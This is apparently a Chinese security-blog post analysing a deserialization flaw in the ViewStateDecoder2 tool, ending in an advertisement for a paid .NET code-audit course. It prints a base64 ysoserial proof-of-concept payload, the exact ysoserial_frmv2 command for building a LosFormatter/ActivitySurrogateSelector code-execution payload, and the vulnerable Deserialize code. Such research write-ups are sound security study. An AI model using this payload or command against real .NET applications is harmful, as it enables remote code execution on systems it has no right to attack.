.NET v2.0 框架不用愁,通过 ysoserial_frmv2 触发 ViewState 反序列化漏洞
.NET v2.0 框架不用愁,通过 ysoserial_frmv2 触发 ViewState 反序列化漏洞
原创 专攻.NET安全的 dotNet安全矩阵 2025-03-14 08:23
ViewStateDecoder2
是一个专门用于解析和分析 .NET ViewState 数据的工具,安全研究人员可以利用来查看其中存储的数据结构,检查是否存在用户数据泄露等,本篇文章将深入剖析
ViewStateDecoder2 出现反序列化漏洞的原理。
01. 反序列化漏洞复现
攻击者利用 ViewStateDecoder2.exe
构造特定的 ViewState 代码,并尝试触发代码执行。使用 yso 生成的 Poc 部分如下所示。
POC:/wEy65EEAAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAPsGAQACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbn
如果解析恶意 ViewState 后,触发命令执行漏洞,启动本地计算器程序,如下图所示。
02. 工具实战用法
触发 ViewStateDecoder2 的反序列化漏洞,需要 ysoserial_frmv2 这款工具,该工具是著名的 ysoserial.net 的一个修改版本,原始的 ysoserial是一款用于生成.NET反序列化利用链的工具,主要针对 .NET Framework 4.x 及以上版本,而 ysoserial_frmv2 则被修改为与更早期的 .NET v2.0 兼容。
2.1 使用方法
使用 LosFormatter gadget 生成 base64 格式的 payload,并执行 calc.exe 命令,如下所示。
ysoserial_frmv2.exe -f LosFormatter -g ActivitySurrogateSelector -o base64 -c "calc"
执行命令后生成的 base64 格式 payload,此 payload 可被插入到目标 .NET 应用程序的 ViewState 中,进而触发漏洞。
03. 反序列化漏洞分析
在 .NET 中,ViewState 是用来在 HTTP 请求之间存储页面状态数据的机制。LosFormatter 是 .NET 中用于序列化和反序列化 ViewState 数据的格式化器。以下是 ViewStateDecoder2 解析 ViewState 的核心代码。
LosFormatter losFormatter = new LosFormatter();object tree = losFormatter.Deserialize(this._vsString.Text);XmlDocument xmlDocument2;XmlDocument xmlDocument = ViewStateXmlBuilder.BuildXml(tree, out xmlDocument2);this.PopulateTree(this._decodeTree, xmlDocument);this.PopulateTree(this._decodeControlStateTree, xmlDocument2);
如果 ViewState 被攻击者篡改成恶意序列化数据,Deserialize 方法会在没有校验的情况下直接加载和执行对象。
如果对象中存在可控的 gadget
(例如 ActivitySurrogateSelector
),就可能触发任意命令执行。
04. NET代码审计学习
微软的.NET技术广泛应用于全球企业级产品,包括其知名的
Exchange
、
SharePoint
等,国内如
某友的Cloud
、
某通的T系列
、
某蝶的云产品
等也广泛采用。各行业核心业务均依赖于此技术。这些基于.NET的系统频繁遭攻击,问题涵盖任意文件上传、反序列化漏洞、SQL注入、文件下载漏洞、命令执行漏洞等。
截至目前,星球已推出近
100节内容
(还在持续增加),包括
70个视频+30份PDF文档
。我们已将内容细致划分为15个分类,并随新漏洞类型的出现持续扩展。在这里您将学到包括但不限于以下漏洞类型。
详细的内容与结构,请参考下方的星球大纲版块,
包括但不限于OWASP十大漏洞类型,涉及SQL注入漏洞、文件上传下载漏洞、任意文件操作漏洞、XML外部实体注入漏洞、跨站脚本攻击漏洞、反序列化漏洞、命令执行漏洞、未授权和越权漏洞、第三方组件漏洞等等。
专属福利
-
学习模式: 代码审计知识星球
在线录播视频
+后续漏洞挖掘直播、内部专属交流社区答疑解惑; -
优享福利:加入.NET代码审计星球后
赠送永久
dot.Net安全基础入门星球。
课程评价
欢迎对.NET代码审计关注和关心的同学加入我们 [dot.Net安全代码审计] ,目前已有近 100+ 位朋友抢先预定。
星球门票后期价格随着内容和质量的不断沉淀会适当提高,
越早加入越划算!
现在加入星球可享受星球早鸟价,并可
领取100元优惠券
,期待在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事,
可扫描下方老师二维码了解更多详情。